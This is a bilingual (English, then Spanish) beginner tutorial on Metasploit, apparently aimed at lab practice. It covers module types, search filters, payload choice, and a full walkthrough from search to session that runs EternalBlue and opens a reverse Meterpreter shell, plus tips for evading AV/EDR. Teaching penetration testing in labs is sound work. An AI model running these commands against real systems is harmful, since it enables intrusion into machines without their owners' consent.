Metasploit From Scratch
This guide isn't a list of commands (that's what the Metasploit cheat sheet is for) — it's how to think when you open
msfconsole: what modules actually are, how to search for the right exploit without getting lost in thousands of results, and why an exploit that "should" work sometimes doesn't.
| Level | From scratch |
| Requires | Kali/Parrot with Metasploit installed |
1. The five module types
Everything in Metasploit is a "module". Before searching for anything, it helps to be clear on which type you actually need:
| Type | What it does | Example |
|---|---|---|
| Exploit | Leverages a specific vulnerability to execute code | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Doesn't exploit anything directly — scans, brute-forces, checks versions | auxiliary/scanner/smb/smb_version |
| Payload | The code that runs *after* the exploit succeeds (the shell, the meterpreter...) | windows/x64/meterpreter/reverse_tcp |
| Encoder | Obfuscates a payload to dodge simple antivirus signatures | x86/shikata_ga_nai |
| Nop | Fills buffer space without affecting execution (for overflow exploits) | x86/opty2 |
The most common beginner mistake: treating
exploitas a synonym for "attack" in general. Often what you need first isn't an exploit at all, but an auxiliary module to confirm the exact service version before wasting time on the wrong exploit.
2. Finding the right module
search is more powerful than it looks at first — don't just search by service name, combine filters:
search smb # general search
search type:exploit smb # exploits only
search type:auxiliary smb # auxiliary modules only
search cve:2017-0144 # by exact CVE
search platform:windows smb # by platform
search rank:excellent smb # only the most reliable
The "rank" matters more than it seems: Metasploit grades every exploit's reliability (excellent, great, good, normal, average, low, manual). An "excellent" exploit shouldn't crash the service; a "low" or "average" one can hang it or fail silently — keep that in mind especially on real production systems.
3. Configuring the module — what almost everyone skips
use exploit/windows/smb/ms17_010_eternalblue
show options
show options lists the variables, but three details get overlooked constantly:
- Required = yes doesn't mean it already has a value — check the "Current Setting" column, not just whether it's listed
show targetsshows the exact OS/version variants the exploit supports — if your target doesn't match any of them, the exploit will fail even if everything else is configured correctlyshow advancedhides options that are sometimes the difference between working and not (timeouts, HTTP paths, protocol version)
4. Choosing a payload — the step most people get wrong
show payloads
set payload windows/x64/meterpreter/reverse_tcp
| Decision | Options | When to pick each |
|---|---|---|
| Bind vs Reverse | bind_tcp opens a port on the target and you connect to it · reverse_tcp the target connects back to you | Reverse almost always — bind fails if there's a firewall/NAT on the target, which is the usual case |
| Staged vs Stageless | Staged (/meterpreter/) sends the payload in two parts · Stageless (_reverse_tcp without meterpreter) sends it whole at once | Stageless if the target's AV/EDR inspects network traffic — it's less detectable since there's no "window" between stages |
| Shell vs Meterpreter | Shell = basic command access · Meterpreter = advanced shell with built-in post-exploitation modules | Meterpreter almost whenever the OS supports it — gives you far more control once you're in |
5. LHOST/LPORT — the #1 cause of "nothing connects back"
set LHOST <your_IP>
set LPORT 4444
LHOST has to be the IP the target can actually reach YOU on — not
127.0.0.1, not an IP on a different interface than the one you use to reach the target. If you're on an HTB VPN, it's yourtun0interface's IP, not your local network's. Double-check withip abefore launching the exploit.
To avoid repeating set LHOST on every new module:
setg LHOST <your_IP>
6. Launching and managing the session
exploit -j # launch as a background job
sessions -l # list active sessions
sessions -i 1 # interact with session 1
background # return to msfconsole without closing the session
If the module supports check, use it before exploit to confirm the target is actually vulnerable without running the real attack yet — avoids crashing a service by probing blindly.
Common errors and why they happen
| Symptom | Usual cause |
|---|---|
| Exploit runs but no session comes back | LHOST set wrong, firewall blocking the port, or a bind payload instead of reverse |
| "Exploit completed, but no session was created" | The target may not actually be vulnerable, or the target/version picked in show targets doesn't match |
| The service crashes after the attempt | Low-rank exploit against a slightly different version — recheck show targets more carefully |
| AV/EDR blocks the payload before it runs | Staged payload detected in transit — try stageless, or generate the payload separately with msfvenom and an encoder |
Full example — from search to session
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1Esta guía no es un listado de comandos (para eso está el cheatsheet de Metasploit) — es cómo pensar cuando abres
msfconsole: qué son realmente los módulos, cómo buscar el exploit correcto sin perderte entre miles de resultados, y por qué falla un exploit que "debería" funcionar.
| Nivel | Desde cero |
| Requiere | Kali/Parrot con Metasploit instalado |
1. Los cinco tipos de módulo
Todo en Metasploit es un "módulo". Antes de buscar nada, conviene tener claro qué tipo de módulo necesitas:
| Tipo | Qué hace | Ejemplo |
|---|---|---|
| Exploit | Aprovecha una vulnerabilidad concreta para ejecutar código | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | No explota nada directamente — escanea, hace fuerza bruta, comprueba versiones | auxiliary/scanner/smb/smb_version |
| Payload | El código que se ejecuta *después* de que el exploit funcione (la shell, el meterpreter...) | windows/x64/meterpreter/reverse_tcp |
| Encoder | Ofusca un payload para evadir firmas de antivirus simples | x86/shikata_ga_nai |
| Nop | Rellena espacio en un buffer sin afectar la ejecución (para exploits de desbordamiento) | x86/opty2 |
El error más común de quien empieza: usar
exploitcomo sinónimo de "ataque" en general. Muchas veces lo que necesitas primero no es un exploit, sino un módulo auxiliary para confirmar la versión exacta del servicio antes de gastar tiempo en el exploit equivocado.
2. Buscar el módulo correcto
search es más potente de lo que parece a primera vista — no busques solo por el nombre del servicio, combina filtros:
search smb # busqueda general
search type:exploit smb # solo exploits
search type:auxiliary smb # solo auxiliares
search cve:2017-0144 # por CVE exacto
search platform:windows smb # por plataforma
search rank:excellent smb # solo los mas fiables
El "rank" importa más de lo que parece: Metasploit clasifica cada exploit según su fiabilidad (excellent, great, good, normal, average, low, manual). Un exploit "excellent" no debería tumbar el servicio; uno "low" o "average" puede colgarlo o fallar sin previo aviso — tenlo en cuenta sobre todo en sistemas de producción reales.
3. Configurar el módulo — lo que casi todo el mundo olvida
use exploit/windows/smb/ms17_010_eternalblue
show options
show options lista las variables, pero hay tres detalles que se pasan por alto constantemente:
- Required = yes no significa que ya tenga un valor — revisa la columna "Current Setting", no solo si aparece en la lista
show targetsmuestra las variantes exactas del sistema operativo/versión que el exploit soporta — si tu objetivo no encaja en ninguna, el exploit fallará aunque todo lo demás esté bien configuradoshow advancedesconde opciones que a veces son la diferencia entre que funcione o no (timeouts, rutas HTTP, versión de protocolo)
4. Elegir payload — el paso que más gente hace mal
show payloads
set payload windows/x64/meterpreter/reverse_tcp
| Decisión | Opciones | Cuándo elegir cada una |
|---|---|---|
| Bind vs Reverse | bind_tcp abre un puerto en el objetivo y tú te conectas · reverse_tcp el objetivo se conecta a ti | Reverse casi siempre — bind falla si hay firewall/NAT en el objetivo, que es lo habitual |
| Staged vs Stageless | Staged (/meterpreter/) envía el payload en dos partes · Stageless (_reverse_tcp sin meterpreter) lo envía entero de una vez | Stageless si el AV/EDR del objetivo inspecciona el tráfico de red — es menos detectable al no dejar una "ventana" entre etapas |
| Shell vs Meterpreter | Shell = acceso básico a comandos · Meterpreter = shell avanzada con módulos post-explotación integrados | Meterpreter casi siempre que el sistema operativo lo soporte — da mucho más control después de entrar |
5. LHOST/LPORT — la causa número uno de "no me conecta"
set LHOST <tu_IP>
set LPORT 4444
LHOST tiene que ser la IP por la que el objetivo puede alcanzarte a TI — no
127.0.0.1, no una IP de una interfaz distinta a la que usas para llegar al objetivo. Si estás en una VPN de HTB, es la IP de tu interfaztun0, no la de tu red local. Confirma conip aantes de lanzar el exploit.
Para no repetir set LHOST en cada módulo nuevo:
setg LHOST <tu_IP>
6. Lanzar y gestionar la sesión
exploit -j # lanza en background como job
sessions -l # lista sesiones activas
sessions -i 1 # interactua con la sesion 1
background # vuelve a msfconsole sin cerrar la sesion
Si el módulo soporta check, úsalo antes de exploit para confirmar que el objetivo es vulnerable sin ejecutar el ataque real todavía — evita colgar un servicio por probar a ciegas.
Errores típicos y por qué pasan
| Síntoma | Causa habitual |
|---|---|
| El exploit se ejecuta pero no llega la sesión | LHOST mal puesto, firewall bloqueando el puerto, o payload bind en vez de reverse |
| "Exploit completed, but no session was created" | El objetivo puede no ser vulnerable realmente, o el target/versión seleccionado en show targets no encaja |
| El servicio se cae tras el intento | Exploit de rank bajo contra una versión ligeramente distinta — revisa show targets con más cuidado |
| AV/EDR bloquea el payload antes de ejecutarse | Payload staged detectado en tránsito — prueba stageless, o genera el payload con msfvenom y un encoder aparte |
Ejemplo completo — de la búsqueda a la sesión
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show targets
show options
set RHOSTS 192.168.1.50
setg LHOST 10.0.0.5
check
show payloads
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1